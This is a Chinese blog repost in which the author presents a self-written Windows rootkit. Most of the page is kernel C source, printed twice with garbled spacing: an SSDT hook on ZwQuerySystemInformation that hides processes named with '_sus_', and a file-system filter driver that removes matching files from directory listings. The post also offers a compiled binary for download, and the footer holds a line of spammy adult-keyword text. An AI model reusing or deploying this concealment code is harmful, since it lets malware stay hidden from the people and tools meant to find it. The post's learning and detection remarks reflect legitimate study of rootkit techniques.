S.l.e!ep.￠%

像打了激速一樣，以四倍的速度運轉，開心的工作
簡單、開放、平等的公司文化；尊重個性、自由與個人價值；

posts - 1098, comments - 335, trackbacks - 0, articles - 1

我寫的第一個rootkit--隱藏文件和進程

Posted on 2009-10-24 20:49 S.l.e!ep.￠% 閱讀(1020) 評論(0) 編輯收藏引用所屬分類: Windows WDM

我寫的第一個rootkit--隱藏文件和進程[ 2007-10-02 16:41:07 | 作者: dklkt ]
字號: 大 | 中 | 小
十一前寫的,這兩天比較忙,所以現在才發上來.

??? 下面是本程序的用法:view plaincopy to clipboardprint?
=================================================================??
This is SUS's rootkit. It can hide files and processes??
?? when their names include "_sus_".??
=================================================================??
Written by dklkt.? 2007.9??
Notice that it can't run automaticly after the computer reboot!??
?
Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.??
?????? sushide2003? -uninstall????????? Uninstall the rootkit.??
-----------------------------------------------------------------?

=================================================================
This is SUS's rootkit. It can hide files and processes
?? when their names include "_sus_".
=================================================================
Written by dklkt.? 2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.
?????? sushide2003? -uninstall????????? Uninstall the rootkit.
-----------------------------------------------------------------??? 直接運行,或者加參數-start運行,都是安裝并開始rootkit.而加參數-uninstall則是停掉并移除

rootkt.

??? 這個程序的功能是隱藏所有文件名中含有_sus_的文件,并且也在進程中隱藏它們.

??? 下面說說具體的功能實現:

??? 1.隱藏進程.

?????? 隱藏進程的實現用的是SSDT鉤子技術. SSDT是System Service Dispatch Table(系統服務調度表

).該表可以基于系統調用病好進行索引,以便定位函數的內存地址. 再說說windows操作系統, 有個叫

ZwQuerySystemInformation的函數, Taskmgr.exe通過該函數獲取系統上的進程列表. 我們通過將

NtQuerySystemInformation函數放到SSDT中, 然后在原函數返回的結果上進行過濾,就可以達到隱藏進程

的目的.
???? 這個是新寫的ZwQuerySystemInformation函數:view plaincopy to clipboardprint?
NTSTATUS NewZwQuerySystemInformation(??
??????????? IN ULONG SystemInformationClass,??
??????????? IN PVOID SystemInformation,??
??????????? IN ULONG SystemInformationLength,??
??????????? OUT PULONG ReturnLength)??
{??
?
?? NTSTATUS ntStatus;??
?
?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (??
????????? SystemInformationClass,??
????????? SystemInformation,??
????????? SystemInformationLength,??
????????? ReturnLength );??
?
?? if( NT_SUCCESS(ntStatus))???
?? {??
????? // Asking for a file and directory listing??
????? if(SystemInformationClass == 5)??
????? {??
?????? // This is a query for the process list.??
????????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)??
?
SystemInformation;??
???????? struct _SYSTEM_PROCESSES *prev = NULL;??
???????
???? while(curr)??
???? {??
??????????? //DbgPrint("Current item is %x\n", curr);??
????? if (curr->ProcessName.Buffer != NULL)??
????? {??
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),???
?
L"_sus_") )??? //進程名中包含_sus_則隱藏??
??????? {??
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;??
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;??
?
????????? if(prev) // Middle or Last entry??
????????? {??
??????????? if(curr->NextEntryDelta)??
????????????? prev->NextEntryDelta += curr-??
?
>NextEntryDelta;??
??????????? else? // we are last, so make prev the???
?
end??
????????????? prev->NextEntryDelta = 0;??
????????? }??
????????? else?
????????? {??
??????????? if(curr->NextEntryDelta)??
??????????? {??
????????????? // we are first in the list, so???
?
move it forward??
????????????? (char *)SystemInformation += curr-??
?
>NextEntryDelta;??
??????????? }??
??????????? else // we are the only process!??
????????????? SystemInformation = NULL;??
????????? }??
??????? }??
????? }??
????? else // This is the entry for the Idle process??
????? {??
???????? // Add the kernel and user times of _root_*???
???????? // processes to the Idle process.??
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;??
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;??
?
???????? // Reset the timers for next time we filter??
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;??
????? }??
????? prev = curr;??
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);??
??????? else curr = NULL;??
?????? }??
??? }??
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes??
??? {??
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)??
?
SystemInformation;??
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;??
??? }??
?
?? }??
?? return ntStatus;??
}?

NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{

?? NTSTATUS ntStatus;

?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );

?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // This is a query for the process list.
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)

SystemInformation;
???????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),

L"_sus_") )??? //進程名中包含_sus_則隱藏
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr-

>NextEntryDelta;
??????????? else? // we are last, so make prev the

end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so

move it forward
????????????? (char *)SystemInformation += curr-

>NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // This is the entry for the Idle process
????? {
???????? // Add the kernel and user times of _root_*
???????? // processes to the Idle process.
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

???????? // Reset the timers for next time we filter
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)

SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }

?? }
?? return ntStatus;
}??? 2.隱藏文件

????? 本來隱藏文件也可以用鉤子的,但是由于手頭有MS的IFS DDK,所以干脆寫成了文件過濾驅動.它直

接作用于文件系統驅動之上, 將其得到的結果修改后返回上層驅動. 因為文件過濾驅動比較復雜,因此我

這里只是簡單的修改了一下DDK開發包里提供的sfilter例子.
???? 首先是創建一個處理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================??
NTSTATUS??
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,??
?????????????????? IN PIRP Irp)??
{??
??? NTSTATUS status;??
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當前Irp??
?
(IO_STACK_LOCATION)的參數??
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;??
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;??
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;??
??? KEVENT waitEvent;??
??? //UNICODE_STRING path;??
?
??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));??
?
??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)??
??? {??
??????? goto SkipHandle;??
??? }??
??? if (Irp->RequestorMode == KernelMode)??
??? {??
??????? goto SkipHandle;??
??? }??
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )??
? {??
??? goto SkipHandle;??
? }??
? /*?
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-?
?
>FileInformationClass)??
??? {?????
??????? goto SkipHandle;?
??? }*/?
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=???
?
FileBothDirectoryInformation)??
? {??
??? goto SkipHandle;??
? }??
??? //設置完成回調函數??
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);??
??? IoCopyCurrentIrpStackLocationToNext(Irp);??
??? //IoSetCompletionRoutine??
?
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);??
??? IoSetCompletionRoutine(??????
??????????????????????????? Irp,??
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine??
??????????????????????????? &waitEvent,??????????????????? //context parameter??
??????????????????????????? TRUE,??
??????????????????????????? TRUE,??
??????????????????????????? TRUE??
??????????????????????????? );??
?
??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
??? if (STATUS_PENDING == status)??
??? {??
??????? //等待完成??
??????? status = KeWaitForSingleObject(&waitEvent,??
??????????????????????????????????????? Executive,??
??????????????????????????????????????? KernelMode,??
??????????????????????????????????????? FALSE,??
??????????????????????????????????????? NULL??
??????????????????????????????????????? );??
??????? ASSERT(STATUS_SUCCESS == status);??
??? }??
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))???
??? {??????
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??????? return status;??
??? }??
??? //KdPrint(("Hook Directory.\n"));??
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);??
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));??
?
??? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??? return status;??
?
SkipHandle:??
??? IoSkipCurrentIrpStackLocation(Irp);??
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
}?

//=================================================
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
?????????????????? IN PIRP Irp)
{
??? NTSTATUS status;
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當前Irp

(IO_STACK_LOCATION)的參數
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
??? KEVENT waitEvent;
??? //UNICODE_STRING path;

??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
??? {
??????? goto SkipHandle;
??? }
??? if (Irp->RequestorMode == KernelMode)
??? {
??????? goto SkipHandle;
??? }
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )
? {
??? goto SkipHandle;
? }
? /*
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-

>FileInformationClass)
??? {???
??????? goto SkipHandle;
??? }*/
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=

FileBothDirectoryInformation)
? {
??? goto SkipHandle;
? }
??? //設置完成回調函數
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
??? IoCopyCurrentIrpStackLocationToNext(Irp);
??? //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
??? IoSetCompletionRoutine(???
??????????????????????????? Irp,
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine
??????????????????????????? &waitEvent,??????????????????? //context parameter
??????????????????????????? TRUE,
??????????????????????????? TRUE,
??????????????????????????? TRUE
??????????????????????????? );

??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
??? if (STATUS_PENDING == status)
??? {
??????? //等待完成
??????? status = KeWaitForSingleObject(&waitEvent,
??????????????????????????????????????? Executive,
??????????????????????????????????????? KernelMode,
??????????????????????????????????????? FALSE,
??????????????????????????????????????? NULL
??????????????????????????????????????? );
??????? ASSERT(STATUS_SUCCESS == status);
??? }
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
??? {???
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??????? return status;
??? }
??? //KdPrint(("Hook Directory.\n"));
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));

??? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??? return status;

SkipHandle:
??? IoSkipCurrentIrpStackLocation(Irp);
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后對返回的結果進行操作:view plaincopy to clipboardprint?
//-------------------------------------------??
//隱藏文件過濾的函數??
BOOLEAN?
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)??
{??
? //處理目錄操作??
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;??
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;??
? ULONG offset = 0;??
? ULONG position = 0;??
? ULONG newLenth = *lpBufLenth;??
//? WCHAR fileName[] = L"Test.txt";??
? do?
? {??
??? offset = currentDirInfo->NextEntryOffset;??
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包??
?
含_sus_則隱藏??
??? {??
????? //Now We Will Test The FileName??
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-??
?
>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));??
????? if (0 == offset)??
????? {??
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position, newLenth-(*lpBufLenth - position)));??
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!??
??????? if (lastDirInfo)??
??????? {??
????????? lastDirInfo->NextEntryOffset = 0;??
????????? newLenth -= *lpBufLenth - position;??
??????? }??
??????? else?
??????? {??
????????? currentDirInfo->NextEntryOffset = 0;??
????????? *lpBufLenth = 0;??
????????? return TRUE;??
??????? }??
????? }??
????? else?
????? {??
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position));??
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +???
?
offset, *lpBufLenth - position - offset);??
??????? newLenth -= offset;??
??????? position += offset;??
????? }??
??? }??
??? else?
??? {??
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,???
?
currentDirInfo->FileName));??
????? //Move Next??
????? position += offset;??
????? lastDirInfo = currentDirInfo;??
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)??
?
currentDirInfo + offset);??
??? }??
? } while (0 != offset);??
? *lpBufLenth = newLenth;??
? return TRUE;??
}??
//-------------------------------??
//完成例程??
NTSTATUS??
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)??
{??
? PKEVENT event = Context;??
?
??? UNREFERENCED_PARAMETER( DeviceObject );??
??? UNREFERENCED_PARAMETER( Irp );??
?
??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));??
?
? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);??
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);??
?
??? return STATUS_MORE_PROCESSING_REQUIRED;???
}?

//-------------------------------------------
//隱藏文件過濾的函數
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
? //處理目錄操作
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
? ULONG offset = 0;
? ULONG position = 0;
? ULONG newLenth = *lpBufLenth;
//? WCHAR fileName[] = L"Test.txt";
? do
? {
??? offset = currentDirInfo->NextEntryOffset;
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包

含_sus_則隱藏
??? {
????? //Now We Will Test The FileName
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-

>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
????? if (0 == offset)
????? {
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,

position, newLenth-(*lpBufLenth - position)));
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!
??????? if (lastDirInfo)
??????? {
????????? lastDirInfo->NextEntryOffset = 0;
????????? newLenth -= *lpBufLenth - position;
??????? }
??????? else
??????? {
????????? currentDirInfo->NextEntryOffset = 0;
????????? *lpBufLenth = 0;
????????? return TRUE;
??????? }
????? }
????? else
????? {
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,

position));
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +

offset, *lpBufLenth - position - offset);
??????? newLenth -= offset;
??????? position += offset;
????? }
??? }
??? else
??? {
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,

currentDirInfo->FileName));
????? //Move Next
????? position += offset;
????? lastDirInfo = currentDirInfo;
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)

currentDirInfo + offset);
??? }
? } while (0 != offset);
? *lpBufLenth = newLenth;
? return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
? PKEVENT event = Context;

??? UNREFERENCED_PARAMETER( DeviceObject );
??? UNREFERENCED_PARAMETER( Irp );

??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);

??? return STATUS_MORE_PROCESSING_REQUIRED;
}???? 因為還是初學rootkit,所以以上代碼并非本人原創, 特此聲明. 在此也感謝下作者. 很多地方我也

是正在學習中. 目前正在看Greg Hoglund 和James Butler寫的《ROOTKITS--Windows內核的安全防護》

。也給大家推薦下。另外，順便提下，本程序中所用到的方法都可以被IceSword檢測到。

??? 附件中是編譯好的程序。編譯環境win2003，也可在xp中使用。
??? 為了防止惡意使用，程序加了北斗3.7殼。

?點擊下載
[最后修改由 dklkt，于 2008-04-27 20:37:40]
標簽: 原創程序
?評論Feed: http://www.dklkt.cn/feed.asp?q=comment&id=39

本文來源：單克隆抗體's blog???
原文地址：http://www.dklkt.cn/article.asp?id=39

只有注冊用戶登錄后才能發表評論。


相關文章: inside windows 【轉載】WRK簡單介紹 Understanding IRQL 中斷請求級別(IRQL) 什么是中斷請求(IRQ)? 中斷請求分頁內存和非分頁內存驅動中的幾種內存分配和釋放的用法 ExInitializeResourceLite() Windows 文件過濾驅動經驗總結

網站導航: 博客園 IT新聞 BlogJava 博問 Chat2DB 管理

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.￠%

我寫的第一個rootkit--隱藏文件和進程

日歷

公告

常用鏈接

留言簿(5)

隨筆分類(1107)

隨筆檔案(1098)

文章檔案(1)

相冊

收藏夾(3)

DataStruct

搜索

積分與排名

最新評論

閱讀排行榜

評論排行榜